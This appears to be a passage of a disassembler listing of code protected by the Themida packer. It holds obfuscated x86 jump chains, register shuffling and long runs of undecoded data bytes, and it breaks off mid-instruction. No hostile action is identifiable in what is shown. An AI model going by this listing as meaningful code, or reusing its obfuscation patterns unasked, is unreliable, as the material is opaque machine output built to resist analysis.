		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5666FF:				; CODE XREF: Themida_:005662B4j
		add	edi, 38D35A34h
		add	edi, ebp
		jmp	loc_55DFF9
; ---------------------------------------------------------------------------
		dd 81242C89h, 4ECh, 7387E900h, 34890000h, 17AABE24h, 19E95CBAh
		dd 0B90000B7h, 6B6F06F9h, 0DFE9E981h, 0C8892A05h, 12D56859h
		dd 4890000h, 24348124h,	1EF29F2h, 0F2F18159h, 5801EF29h
		dd 1595BB53h, 0B85009D5h, 477A70B2h, 0D084305h,	0C148400Dh
		dd 70D03E8h, 0E93D5E79h, 58C1h,	5C35C1B8h, 48E9504Ch, 0F6000012h
		dd 7B37E9D2h, 815D0000h, 273C7BEEh, 0B693E945h,	0C4810000h
		dd 4, 0A68FDh, 0C8B0000h, 4EC8124h, 89000000h, 5E542434h
		dd 0AF71E9h, 5E9C000h, 0FFF94DE9h, 0FE945FFh, 83FFFF84h
		dd 348704EEh, 14895C24h, 0A8DFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5667C6:				; CODE XREF: Themida_:005640E2j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], eax
		push	ebp
		mov	ebp, 2
		jmp	loc_5602AF
; ---------------------------------------------------------------------------
		db 8Fh
		dd 70E92404h, 5BFFFFF3h, 0EF81C701h, 3A936DC9h,	0A861E9h
		dd 5DEB8900h, 0FFF8A9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5667F9:				; CODE XREF: Themida_:0056F78Ej
		pop	edx
		dec	esi
		jmp	loc_57253E
; ---------------------------------------------------------------------------


loc_566800:				; CODE XREF: Themida_:0056846Fj
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 5A431EBBh
		push	edx
		mov	edx, 68246928h
		sub	edx, 0F0DA36E7h
		jmp	loc_567ECB
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0FEB3B224h, 53CAFECAh, 8388E9h, 0E903B200h, 0FFFFBAB5h
		dd 4C681h, 0EE830000h, 24348702h, 489665Ch, 0AF17E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566852:				; CODE XREF: Themida_:00567208j
		shl	edi, 5
		push	eax
		mov	eax, 0FFFFFFFFh
		jmp	loc_568511
; ---------------------------------------------------------------------------


loc_566860:				; CODE XREF: Themida_:0056AB50j
		add	edx, esi
		pop	esi
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_56286B
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0EFh
		dd 43133378h, 79B8EB81h, 0EB816297h, 0A0A1B978h, 815BDD29h
		dd 790D61CDh, 4EB1E91Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566892:				; CODE XREF: Themida_:00572491j
		mov	edi, 219A36B5h
		neg	edi
		inc	edi
		xor	edi, 4D780C54h
		add	edi, 0CAF76AADh
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 1
		jmp	loc_571D65
; ---------------------------------------------------------------------------
aFrseb		db 'fR饡',0
		dw 8B00h
		dd 4892424h, 0D47CE924h, 0BD55FFFFh, 397E7AA8h,	0F75DE901h
		dd 864DE9D9h, 248B0000h, 48B6624h, 8345E924h, 0FB89FFFFh
		dd 83243C8Bh, 61E904C4h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5668F7:				; CODE XREF: Themida_:0055DA1Aj
		pop	esi
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[edi+24h], esi
		mov	esi, [esp]
		jmp	loc_5694B8
; ---------------------------------------------------------------------------


loc_56691A:				; CODE XREF: Themida_:0056CCD5j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, 77A65B65h
		jmp	loc_562827
; ---------------------------------------------------------------------------


loc_566934:				; CODE XREF: Themida_:00562FCAj
		not	esi
		xchg	esi, ebx
		xchg	ebx, esi
		xor	edx, esi
		xor	esi, edx
		xor	edx, esi
		jmp	loc_568A39
; ---------------------------------------------------------------------------
aIHu@		db 'ˆÁhU@',0
		align 4
		dd 0FFCDA5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566951:				; CODE XREF: Themida_:0056ACBAj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------
		db 0B1h
		dd 4FEE8053h, 0C2E95366h, 68FFFFC5h, 24ECh, 68240C89h
		dd 5E48h, 53240489h, 31E2E9h, 247C0100h, 815F5F04h, 4C7h
		dd 4EF8100h, 87000000h,	7CE9243Ch, 5100000Ah, 0FFB870E9h
		dd 81D129FFh, 2373B0C1h, 685B5A13h, 64D7h, 0BE243489h
		dd 2, 34FFF101h, 89505E24h, 405E0h, 0C0830000h,	24048704h
		dd 38FFE95Ch, 0E7000000h, 76B8E9h, 2434FF00h, 0E92434FFh
		dd 6528h, 8B24048Fh, 0A4E92424h, 2400000Dh, 0E00EE9DEh
		dd 205FFFFh, 50000000h,	0FF8739E9h, 69B02DFFh, 0D8012537h
		dd 6118E9h, 0C1816600h,	8B660F3Ah, 0C483241Ch, 0C3816602h
		dd 77E9130Ah, 87000020h, 0E95C2404h, 0BBDEh, 68240C89h
		dd 8C1h, 8904EC83h, 6CE9241Ch, 0BBFFFFE8h, 639A271Fh, 9793E9h
		dd 5EF50100h, 0FFEFA5E9h, 0C78166FFh, 9665174h,	83665FFBh
		dd 0C166FFC3h, 436603EBh, 6CC38166h, 0B03BE924h, 0C2810000h
		dd 4, 4C281h, 14870000h, 42E95C24h, 0B8FFFF64h,	4, 4244401h
		dd 0FFEEC1E9h, 4C483FFh, 8B0BE9h, 51452C00h, 39CC68h, 24148900h
		dd 0CEFEF6B6h, 0CE80C6FEh, 0FDB353F7h, 8008EBC0h, 0EB8048CBh
		dd 0C2F3804Dh, 0F380C3FEh, 8EBC0CFh, 0C380C3FEh, 0B023E933h
		dd 48FFFFFh, 0EEE95C24h
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566AD7:				; CODE XREF: Themida_:0055DF57j
		push	eax
		push	0
		pop	eax
		add	eax, edx
		push	ebx
		push	edx
		jmp	loc_567A5F
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C240Ch, 0FFFFCE03h, 815A5452h, 4C2h, 4EA8100h, 87000000h
		dd 895C2414h, 3068241Ch, 0E9000065h, 4435h
; ---------------------------------------------------------------------------


loc_566B10:				; CODE XREF: Themida_:005705A7j
		mov	ebx, esp
		push	ebp
		jmp	loc_56577C
; ---------------------------------------------------------------------------
		dd 4C5815Dh, 81000000h,	4C5h, 0B825E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566B2A:				; CODE XREF: Themida_:00566064j
		mov	[esp], edi
		mov	edi, esp
		push	esi
		push	ebp
		jmp	loc_571EE3
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 240C8B24h, 4C481h, 0C4830000h, 7025E904h, 33BBFFFFh
		dd 0B87A2179h, 384B5C9Eh, 315BD831h, 0D7E958C7h, 8900002Bh
		dd 6FADE9F2h, 0EA81FFFFh, 74838E94h, 0BEE9h, 40500h, 42D0000h
		dd 0E9000000h, 8A4Eh, 8B2434FFh, 0E9532404h, 36C7h, 0E99C5166h
		dd 0FFFF6331h, 68243C89h, 0CBD79C2h, 0A2BFE95Fh, 0EA89FFFFh
		dd 0E9242C8Bh, 0FFFFC4CCh, 0C681E689h, 4, 4B85052h, 0E9000000h
		dd 0FFFF7A75h
; ---------------------------------------------------------------------------


loc_566BC0:				; CODE XREF: Themida_:0056852Ej
		push	ebp
		mov	ebp, 7FD54CEBh
		push	esi
		jmp	loc_565B9C
; ---------------------------------------------------------------------------


loc_566BCC:				; CODE XREF: Themida_:00560097j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_566DB5
; ---------------------------------------------------------------------------


loc_566BE3:				; CODE XREF: Themida_:0056476Dj
		add	esp, 4
		push	edi
		jmp	loc_567458
; ---------------------------------------------------------------------------
		db 5Ah
		dd 51CDEE81h, 0F201231Ch, 8324348Bh, 0B66804C4h, 8900003Bh
		dd 9AE92414h, 81FFFF9Fh, 4C3h, 241C8700h, 0B1E9525Ch, 68000082h
		dd 7DB6h, 0B76FE9h, 0C8B6600h, 0DCE95224h, 10000B0h, 0CF015AD7h
		dd 116CEF81h, 0C8B0F3Dh, 4C48124h, 83000000h, 3C3304C7h
		dd 243C3124h, 5C243C33h, 0E92434FFh, 0FFFFF8B9h, 29665F66h
		dd 24148BD3h, 5104C483h, 5B68E9h
		db 0
; ---------------------------------------------------------------------------


loc_566C69:				; CODE XREF: Themida_:005673BDj
		sub	ebx, 7E1004DBh
		jmp	loc_568D0D
; ---------------------------------------------------------------------------
		dd 4EC81h, 4890000h, 5585424h, 4, 0CBBE5655h, 0D143440Fh
		dd 4E6C1EEh, 465CE681h,	25E91C31h, 87FFFFEEh, 248B243Ch
		dd 24048B24h, 2C04C483h, 66E80089h, 6290E951h, 0D589FFFFh
		dd 0B2ED815Ah, 0E9591D39h, 2877h, 4BA52h, 0F82D0000h, 10CAB47h
		dd 0F8BA52D0h, 0E90CAB47h, 5241h, 37EB80h, 37C380F3h, 2A28E95Ah
		dd 34FF0000h, 2434FF24h, 4C48359h, 8D268h, 243C8900h, 96A5E9h
		dd 48F5400h, 24048324h,	24148B04h, 9773E955h, 0EDD1FFFFh
		dd 0F581DDF7h, 143A23C8h, 0B69FE9h, 0B652AC00h,	0CC68003h
		dd 28CCF680h, 45045AF0h, 981E9h
		db 0
; ---------------------------------------------------------------------------


loc_566D31:				; CODE XREF: Themida_:0056A517j
		mov	esp, [esp]
		and	[esp], eax
		pushf
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------


loc_566D3D:				; CODE XREF: Themida_:005682E0j
		mov	ebx, 2B3344D9h
		jmp	loc_56101D
; ---------------------------------------------------------------------------
		db 0ADh
		dd 6D75BA52h, 33681A26h, 0E9000010h, 6E9Eh, 81E28952h
		dd 4C2h, 4C28100h, 0E9000000h, 0B285h, 81243C89h, 4ECh
		dd 24148900h, 0B243481h, 0E9685541h, 0FFFFAA19h, 0DAF67FB2h
		dd 0F68DCA80h, 96C280D2h, 0E95AD508h, 0FFFFCF85h, 0F4885051h
		dd 0E958E588h, 6389h, 46E9C109h, 66FFFF8Fh, 52240C8Bh
		dd 78E5E9h
		db 0
; ---------------------------------------------------------------------------


loc_566DB5:				; CODE XREF: Themida_:00566BDEj
		mov	esi, 3FCh
		mov	ebp, esi
		jmp	loc_566139
; ---------------------------------------------------------------------------


loc_566DC1:				; CODE XREF: Themida_:00571D68j
		neg	ebx
		sub	ebx, 0A1EAD038h
		add	ecx, 13C117F6h
		push	eax
		push	1C07h
		mov	[esp], ecx
		mov	ecx, 58FD1D90h
		mov	eax, ecx
		jmp	loc_55DCEF
; ---------------------------------------------------------------------------
		dd 0D5F7E987h, 0D1F7E987h, 0E91E181h, 0E98108BFh, 99087Ch
		dd 8759CE01h, 0E95C2434h, 0FFFF873Fh
; ---------------------------------------------------------------------------


loc_566E04:				; CODE XREF: Themida_:005710E5j
		pop	ebp
		add	eax, edi
		jmp	loc_56CF28
; ---------------------------------------------------------------------------
		dd 0E904C483h, 1682h, 0E92434FFh, 0FFFF9B52h
; ---------------------------------------------------------------------------


loc_566E1C:				; CODE XREF: Themida_:00569C03j
		add	edx, 4
		sub	esp, 4
		jmp	loc_55E5D5
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 34FEBD55h,	0EE96490h
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566E3B:				; CODE XREF: Themida_:00563037j
		xor	edi, ecx
		jmp	loc_56BC1B
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 3A4B5E3Bh, 1CE9D089h, 43FFFFD8h, 0FFCA44E9h,	79EE81FFh
		dd 8985E8CAh, 0D9315EF3h, 0E9241C8Bh, 0FFFFD033h, 4BE9F201h
		dd 6800007Ch, 7589h, 0F7243489h, 555E2414h, 0FFDD36E9h
		dd 2434FFFFh, 0FF2434FFh, 57592434h, 0BD55E789h, 573805A6h
		dd 4B2BF581h, 0BF57684Ah, 233839C7h, 4B33EF81h,	0CFE93F77h
		dd 81FFFFC0h, 4C3h, 241C8700h
		db 5Ch,	30h, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_562C9C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 83592434h, 0E80004C4h, 8B663804h, 0E952240Ch, 77A0h
		dd 0F7E7815Fh, 57567B4Dh, 0E92414F7h, 6240h
; ---------------------------------------------------------------------------


loc_566EF4:				; CODE XREF: Themida_:0055E485j
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_56A8E6
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0C1830000h, 8FB2E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566F12:				; CODE XREF: Themida_:0056AEB2j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		push	196Ah
		mov	[esp], eax
		push	34903AAh
		pop	eax
		sub	eax, 0A309D8C4h
		mov	edi, eax
		jmp	loc_567FDA
; ---------------------------------------------------------------------------
		dw 0C1FEh
		dd 0E906E9C0h, 0FFFFE511h, 0DCE9FE89h, 560000B3h, 0FFF27EE9h
		dd 26F181FFh, 0E941C75Fh, 0FFFFDF9Ah, 598F181h,	0CD310D79h
		dd 60CEE959h, 815F0000h, 4C7h, 54E95100h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566F8B:				; CODE XREF: Themida_:00567123j
		mov	[esp], ebp
		mov	ebp, 214E5C4Eh
		mov	esi, 6E72C54Ch
		sub	esi, ebp
		pop	ebp
		add	ebx, esi
		jmp	loc_56A040
; ---------------------------------------------------------------------------
		dw 0FF57h
		dd 5F042474h, 8B24048Fh, 24892424h, 0E881E924h,	0E951FFFFh
		dd 8EB4h
; ---------------------------------------------------------------------------


loc_566FBC:				; CODE XREF: Themida_:005618E4j
		push	esp
		jmp	loc_561536
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0B60FC330h, 87048FC0h, 0FF5EF0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566FD5:				; CODE XREF: Themida_:0055E561j
		mov	[esp], ebp
		jmp	loc_56B27A
; ---------------------------------------------------------------------------
		db 0FEh, 0C1h, 80h
		dd 8DE954E1h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566FE7:				; CODE XREF: Themida_:0056F43Cj
		xor	edi, [esp]
		jmp	loc_568A31
; ---------------------------------------------------------------------------


loc_566FEF:				; CODE XREF: Themida_:00562C07j
		shl	ebp, 2
		push	44D7h
		mov	[esp], ecx
		push	edi
		mov	edi, 2A012E56h
		mov	ecx, edi
		pop	edi
		jmp	loc_55E080
; ---------------------------------------------------------------------------
aSU		db '^éÃu',0
		align 2
		dw 52BBh
		dd 91C9B01h, 241C8BD8h,	0FFDF93E9h, 0D1215DFFh,	0C1E1815Ah
		dd 4174F044h, 5608E1C1h, 0DD784568h, 0F1315EF9h, 0E924348Bh
		dd 0FFFFB705h
; ---------------------------------------------------------------------------


loc_56703C:				; CODE XREF: Themida_:00567A67j
		add	ebx, 5784621Fh
		add	ebx, eax
		push	ebp
		mov	ebp, 5784621Fh
		jmp	loc_5700D4
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 4ECh, 241C8900h, 6851E389h, 3E39673Ch, 0FAB85059h
		dd 564A664Fh, 0B35641BEh, 5EF0292Bh, 9C552205h,	0E7F4E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56707E:				; CODE XREF: Themida_:005693FEj
		add	esp, 4
		xor	edx, 62504AD0h
		sub	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ebp, 667171E8h
		push	esi
		mov	esi, 172B73FDh
		or	esi, 7A8E6012h
		and	esi, 50C1197Eh
		neg	esi
		xor	esi, 3DBD18B8h
		and	esi, 6DF11F5Dh
		add	esi, 3A62D0DAh
		add	ebp, esi
		pop	esi
		add	ecx, ebp
		jmp	loc_55FC09
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 4B226853h, 1C8B2604h, 4C48124h, 81000000h, 3274D3CBh
		dd 0AEF2E965h, 835DFFFFh, 0B72D04C4h, 5517311Fh, 307A9EBDh
		dd 8E5C113h, 0B68DE945h, 0BB53FFFFh, 7F17790Dh,	0C48C02B9h
		dd 5BD929A8h, 8159CE01h, 0DD7768EEh, 86EE8171h,	0E970F604h
		dd 0FFFFF441h
; ---------------------------------------------------------------------------


loc_56711C:				; CODE XREF: Themida_:00563E09j
		push	esi
		sub	esp, 4
		jmp	loc_566F8B
; ---------------------------------------------------------------------------
		dd 582434FFh, 3867E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567132:				; CODE XREF: Themida_:0055DE0Cj
		mov	edi, 37786CA7h
		xor	edi, ebx
		pop	ebx
		sub	edi, 0FFFFFFFFh
		shr	edi, 3
		or	edi, 781F2C40h
		add	edi, 2703C0Ah
		add	edi, 3C697848h
		add	edi, 0FF503EBh
		mov	eax, edi
		pop	edi
		add	ecx, eax
		pop	eax
		and	eax, ecx
		jmp	loc_56D84A
; ---------------------------------------------------------------------------
a34LSm		db '34$‹$$éŒ/',0
		align 10h
		dd 0AA319205h, 2DE8016Fh, 6FAA3192h, 53B4E9h, 240C8900h
		dd 42474FFh, 3AAEE9h
		db 0
; ---------------------------------------------------------------------------


loc_56718D:				; CODE XREF: Themida_:0056C543j
		mov	eax, 5A056C52h
		sub	eax, 6B1C45ACh
		sub	eax, 0FC62AC7h
		push	ebp
		mov	ebp, 6709202Bh
		jmp	loc_55D639
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 83000000h,	8BE904EEh, 8BFFFFC6h, 8953241Ch
		dd 4C381E3h, 57000000h,	5E3FB0BFh, 8BB1E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5671CE:				; CODE XREF: Themida_:0055D2F6j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56C0F7
; ---------------------------------------------------------------------------


loc_5671D7:				; CODE XREF: Themida_:00567392j
		add	esp, 4
		mov	esi, 9738A793h
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	esi, ecx
		pop	ecx
		xchg	edx, esi
		not	edx
		xchg	edx, esi
		add	esi, 1
		or	esi, 30C61C7Fh
		sub	esi, 68EBB3C3h
		and	edi, esi
		pop	esi
		jmp	loc_566852
; ---------------------------------------------------------------------------
		db 68h,	72h, 6Eh
		dd 9E90000h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567217:				; CODE XREF: Themida_:0056492Aj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		pop	edx
		push	esi
		push	eax
		push	0E3E6250h
		jmp	loc_55F57E
; ---------------------------------------------------------------------------
		dd 24048F5Bh, 0E924248Bh, 0FFFFAEF8h
; ---------------------------------------------------------------------------


loc_567244:				; CODE XREF: Themida_:00570C87j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	66Ch
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_56F5B1
; ---------------------------------------------------------------------------
		db 29h
		dd 698CE9F7h, 8B660000h, 0EC83240Ch, 243C8904h,	0BE56E789h
		dd 29C76DEBh, 440FE9h, 58C60100h, 2CD8EE81h, 0EE81124Bh
		dd 712B235Dh, 0C681D601h, 712B235Dh, 2CD8C681h,	0EC81124Bh
		dd 4, 33FAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5672B1:				; CODE XREF: Themida_:00562CB8j
		shr	edx, 1
		push	eax
		jmp	loc_5662A9
; ---------------------------------------------------------------------------
		db 5Ah,	56h, 0FFh
		dd 5E042474h, 8B24048Fh, 0E9512424h, 1C2h, 5D2AEDBAh, 2E2C110h
		dd 0FFB430E9h, 29E941FFh, 89FFFF71h, 23E9243Ch,	0AC00009Bh
		dd 8AD1E9h, 1BC68100h, 8B0E1D25h, 8951242Ch, 4C181E1h
		dd 83000000h, 0E95104C1h, 5CAEh, 4BEh, 24740100h, 685E5E04h
		dd 1022h, 0BA241489h, 4, 5B1EEE81h, 0D6015622h,	0FFF36FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56732D:				; CODE XREF: Themida_:0055D8E9j
		mov	[esp], ebx
		jmp	loc_56BACA
; ---------------------------------------------------------------------------
		db 0B8h, 1Ch, 4Bh
		dd 0FE253EB2h, 2D772156h, 378E3132h, 0FD35D8F7h, 2D4AC942h
		dd 0CAFBEB61h, 45E9C101h, 8B000087h, 0C481240Ch, 4, 71CBBF57h
		dd 0BB5332AFh, 70115D1Dh, 0F75BDF29h, 0C8757DFh, 0E9D1F724h
		dd 0FFFF8BF7h, 0BE0778BAh, 0E9D5891Dh, 0FFFFA98Eh
; ---------------------------------------------------------------------------


loc_567388:				; CODE XREF: Themida_:00567407j
		pop	ebp
		xor	ebp, 6D3614A8h
		mov	eax, [esp]
		jmp	loc_5671D7
; ---------------------------------------------------------------------------
		db 52h
		dd 0F34C38BAh, 965EE905h, 0BE56FFFFh, 4734329h,	0E906E6C1h
		dd 0FFFFB64Fh
; ---------------------------------------------------------------------------


loc_5673B0:				; CODE XREF: Themida_:0056B2DDj
		push	esi
		mov	esi, 5FB74531h
		push	ebx
		mov	ebx, 1CE31F48h
		inc	ebx
		jmp	loc_566C69
; ---------------------------------------------------------------------------


loc_5673C2:				; CODE XREF: Themida_:0055DFBBj
		push	eax
		push	esp
		pop	eax
		push	4D2Dh
		mov	[esp], ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		push	3A50h
		mov	[esp], esi
		jmp	loc_569F6D
; ---------------------------------------------------------------------------


loc_5673EF:				; CODE XREF: Themida_:00568C7Aj
		mov	eax, 674A63A0h
		shl	eax, 5
		shl	eax, 5
		add	eax, 0F885F146h
		push	eax
		xor	dword ptr [esp], 6D3614A8h
		jmp	loc_567388
; ---------------------------------------------------------------------------
		dd 875EF229h, 0B3E92414h, 8B0000A2h, 24892424h,	4BE5624h
		dd 1000000h, 5E042474h,	5CABE95Dh, 0F5890000h, 0FFED815Eh
		dd 81FFFFFFh, 0E3E48CEDh, 0E9EB313Dh, 40FAh, 24048B66h
		dd 4EC81h, 0C890000h, 0E9E18924h, 0FFFF8799h
; ---------------------------------------------------------------------------


loc_567458:				; CODE XREF: Themida_:00566BEAj
		sub	esp, 4
		jmp	loc_5714D3
; ---------------------------------------------------------------------------


loc_567460:				; CODE XREF: Themida_:005614FEj
		pop	esp
		mov	[esp], ebx
		jmp	loc_55DDEC
; ---------------------------------------------------------------------------
		db 5Fh,	83h, 0ECh
		dd 3E88E904h, 34870000h, 24248B24h, 4AB0F66h, 42E99C24h
		dd 81FFFF5Ah, 6BCAFF7h,	0BD7EE980h, 0E189FFFFh,	0D5CB850h
		dd 9748118Dh, 9821E9h
		db 0
; ---------------------------------------------------------------------------


loc_56749D:				; CODE XREF: Themida_:00569DF1j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 299A291Fh
		xor	[esp+4], ebx
		push	dword ptr [esp]
		jmp	loc_563FD5
; ---------------------------------------------------------------------------
		db 49h
		dd 4E41E981h, 0CE315F11h, 0E9240C8Bh, 0FFFFFA35h, 4C481h
		dd 3D680000h, 89000027h, 4BE2434h, 0E9000000h, 4D0Dh
; ---------------------------------------------------------------------------


loc_5674E4:				; CODE XREF: Themida_:0056C9C1j
		mov	edx, eax
		mov	edi, edx
		jmp	loc_563906
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 9E4Fh, 6EFC14Fh,	6E16E9h, 87D6F700h, 0EA834AF2h
		dd 0A85FE9FFh, 0EC830000h, 24148904h, 0FAA6B951h, 0CA8963DFh
		dd 6139E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567522:				; CODE XREF: Themida_:00569363j
		mov	edx, ebx
		pop	ebx
		add	edx, edi
		push	ebx
		mov	ebx, 3ADF41FFh
		shl	ebx, 8
		or	ebx, 7EC0E19h
		push	ebp
		jmp	loc_5641C8
; ---------------------------------------------------------------------------
		dd 308868h, 243C8900h, 42474FFh, 81243C8Bh, 4C4h, 5ED8E900h
		dd 0BABF0000h, 0BB48DF2Dh, 0EA62D263h, 8517E9h,	38C58100h
		dd 0E997799Ch, 0FFFFD4D5h
; ---------------------------------------------------------------------------


loc_567570:				; CODE XREF: Themida_:00571936j
		mov	ebp, esp
		push	ecx
		mov	ecx, 16527269h
		dec	ecx
		sub	ecx, 16527264h
		jmp	loc_56162D
; ---------------------------------------------------------------------------


loc_567584:				; CODE XREF: Themida_:00568879j
		shr	ebx, 1
		add	ebx, 1
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 66CF7EC0h
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		xor	dword ptr [esp], 3E715E8Dh
		pop	edx
		xor	edx, 3E715E8Dh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		inc	edx
		jmp	loc_563A6B
; ---------------------------------------------------------------------------


loc_5675BE:				; CODE XREF: Themida_:0055FF08j
		pop	edi
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	edi, 5A9F462Bh
		add	edi, ebp
		push	ecx
		mov	ecx, 731B69CEh
		shr	ecx, 6
		inc	ecx
		shl	ecx, 4
		shr	ecx, 3
		add	ecx, 0D236D52h
		jmp	loc_56210E
; ---------------------------------------------------------------------------
		db 0BAh
		dd 76C53B06h, 2421BD55h, 0F5811B4Ch, 7ADE5415h,	3BE9D5F7h
		dd 89FFFFAFh, 0C14759CFh, 0AEE905EFh, 33FFFFD1h, 248B241Ch
		dd 0B7C38124h, 55138D4Eh, 0FF91B2E9h, 0FFEA83FFh, 59FCE9h
		dd 5EF00100h, 8704E883h, 0E95C2404h, 5DCEh, 6624248Bh
		dd 2404BB0Fh, 5877E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56764E:				; CODE XREF: Themida_:0056F3CEj
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	edi
		mov	edi, 69116DFBh
		push	edi
		push	ecx
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		not	ecx
		push	2440h
		mov	[esp], edi
		push	ecx
		pop	edi
		jmp	loc_56B755
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 89512404h, 29BE56E1h, 8153245Bh, 1461EEF6h, 0B951576Fh
		dd 258731BDh, 0D6E3E981h, 0CF89D4EAh, 659AE959h, 462CFFFFh
		dd 4604D800h, 0FFF3DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5676BD:				; CODE XREF: Themida_:00565E65j
		pop	edx
		or	ecx, ebp
		pop	ebp
		jmp	loc_57086D
; ---------------------------------------------------------------------------


loc_5676C6:				; CODE XREF: Themida_:0055E4ADj
		and	eax, 7DC076B9h
		push	ebp
		jmp	loc_56C2CD
; ---------------------------------------------------------------------------
		db 0F6h, 0DBh, 50h
		dd 0FF8337E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5676D9:				; CODE XREF: Themida_:00567804j
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_56CAB1
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0E919B724h, 98E9h, 5124248Bh, 20E95954h, 81FFFFBCh
		dd 0DFCFF7C2h, 5AD12905h, 7198E9h, 89505A00h, 20BE56E0h
		dd 0C158D427h, 0E6C102EEh, 3DEE8102h, 816BEA64h, 0E9C2E7F6h
		dd 8BF001ECh, 0C4832434h, 0B791E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567736:				; CODE XREF: Themida_:0055DA58j
		add	ebp, 4
		push	esi
		jmp	loc_56AEB7
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 57000000h,	2BFh, 0E9FB2900h, 5336h
; ---------------------------------------------------------------------------


loc_567758:				; CODE XREF: Themida_:005641DAj
		push	edx
		mov	edx, 0
		jmp	loc_569F81
; ---------------------------------------------------------------------------


loc_567763:				; CODE XREF: Themida_:0056939Aj
		push	edi
		jmp	loc_5663F7
; ---------------------------------------------------------------------------


loc_567769:				; CODE XREF: Themida_:0056149Dj
		add	esi, 2EDC243Bh
		push	dword ptr [esp]
		jmp	loc_55E806
; ---------------------------------------------------------------------------
		db 8Bh
		dd 34892424h, 77E95224h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567783:				; CODE XREF: Themida_:00564CE0j
		xchg	edx, [esp]
